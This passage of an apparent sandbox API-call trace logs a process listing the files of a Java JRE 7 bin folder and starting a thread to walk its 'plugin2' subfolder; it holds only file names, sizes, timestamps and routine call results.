cFileName="jpioji.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jpioji.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jpioji.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpishare.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jpishare.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jpishare.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2c9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.exe", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jqs.exe", _String2=".") returned 1 [0127.118] wcscmp (_String1="jqs.exe", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jsdt.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jsdt.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jsound.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jsound.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="jsoundds.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="jsoundds.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2b7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="kcms.dll", _String2=".") returned 1 [0127.118] wcscmp (_String1="kcms.dll", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1 [0127.118] wcscmp (_String1="keytool.exe", _String2=".") returned 1 [0127.118] wcscmp (_String1="keytool.exe", _String2="..") returned 1 [0127.118] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="kinit.exe", _String2=".") returned 1 [0127.119] wcscmp (_String1="kinit.exe", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="klist.exe", _String2=".") returned 1 [0127.119] wcscmp (_String1="klist.exe", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="ktab.exe", _String2=".") returned 1 [0127.119] wcscmp (_String1="ktab.exe", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6dba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="libxml2.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="libxml2.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxslt.dll", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="libxslt.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="libxslt.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1 [0127.119] wcscmp (_String1="management.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="management.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743fe840, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743fe840, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743fe840, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1 [0127.119] wcscmp (_String1="mlib_image.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="mlib_image.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="net.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="net.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1 [0127.119] wcscmp (_String1="nio.dll", _String2=".") returned 1 [0127.119] wcscmp (_String1="nio.dll", _String2="..") returned 1 [0127.119] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x367a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjpi170_45.dll", cAlternateFileName="NPJPI1~1.DLL")) returned 1 [0127.120] wcscmp (_String1="npjpi170_45.dll", _String2=".") returned 1 [0127.120] wcscmp (_String1="npjpi170_45.dll", _String2="..") returned 1 [0127.120] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x35da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npoji610.dll", cAlternateFileName="")) returned 1 [0127.122] wcscmp (_String1="npoji610.dll", _String2=".") returned 1 [0127.122] wcscmp (_String1="npoji610.dll", _String2="..") returned 1 [0127.122] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1 [0127.122] wcscmp (_String1="npt.dll", _String2=".") returned 1 [0127.122] wcscmp (_String1="npt.dll", _String2="..") returned 1 [0127.122] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1 [0127.122] wcscmp (_String1="orbd.exe", _String2=".") returned 1 [0127.122] wcscmp (_String1="orbd.exe", _String2="..") returned 1 [0127.122] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1 [0127.122] wcscmp (_String1="pack200.exe", _String2=".") returned 1 [0127.122] wcscmp (_String1="pack200.exe", _String2="..") returned 1 [0127.122] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1 [0127.122] wcscmp (_String1="plugin2", _String2=".") returned 1 [0127.122] wcscmp (_String1="plugin2", _String2="..") returned 1 [0127.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8c20 [0127.122] wcscpy (in: _Dest=0x1ced8c20, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0127.122] wcscat (in: _Dest=0x1ced8c20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0127.122] wcscat (in: _Dest=0x1ced8c20, _Source="plugin2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" [0152.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced8c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0152.440] wcscmp (_String1="policytool.exe", _String2=".") returned 1 [0152.440] wcscmp (_String1="policytool.exe", _String2="..") returned 1 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism-d3d.dll", cAlternateFileName="PRISM-~1.DLL")) returned 1 [0152.440] wcscmp (_String1="prism-d3d.dll", _String2=".") returned 1 [0152.440] wcscmp (_String1="prism-d3d.dll", _String2="..") returned 1 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0152.440] wcscmp (_String1="rmid.exe", _String2=".") returned 1 [0152.440] wcscmp (_String1="rmid.exe", _String2="..") returned 1 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0152.440] wcscmp (_String1="rmiregistry.exe", _String2=".") returned 1 [0152.440] wcscmp (_String1="rmiregistry.exe", _String2="..") returned 1 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0152.440] wcscmp (_String1="servertool.exe", _String2=".") returned 1 [0152.440] wcscmp (_String1="servertool.exe", _String2="..") returned 1 [0152.440] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0152.440] wcscmp (_String1="splashscreen.dll", _String2=".") returned 1 [0152.440] wcscmp (_String1="splashscreen.dll", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x70fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0152.441] wcscmp (_String1="ssv.dll", _String2=".") returned 1 [0152.441] wcscmp (_String1="ssv.dll", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0152.441] wcscmp (_String1="ssvagent.exe", _String2=".") returned 1 [0152.441] wcscmp (_String1="ssvagent.exe", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0152.441] wcscmp (_String1="sunec.dll", _String2=".") returned 1 [0152.441] wcscmp (_String1="sunec.dll", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0152.441] wcscmp (_String1="sunmscapi.dll", _String2=".") returned 1 [0152.441] wcscmp (_String1="sunmscapi.dll", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2f1a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0152.441] wcscmp (_String1="t2k.dll", _String2=".") returned 1 [0152.441] wcscmp (_String1="t2k.dll", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0152.441] wcscmp (_String1="tnameserv.exe", _String2=".") returned 1 [0152.441] wcscmp (_String1="tnameserv.exe", _String2="..") returned 1 [0152.441] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0152.442] wcscmp (_String1="unpack.dll", _String2=".") returned 1 [0152.442] wcscmp (_String1="unpack.dll", _String2="..") returned 1 [0152.442] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7444ab00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7444ab00, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x23ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0152.442] wcscmp (_String1="unpack200.exe", _String2=".") returned 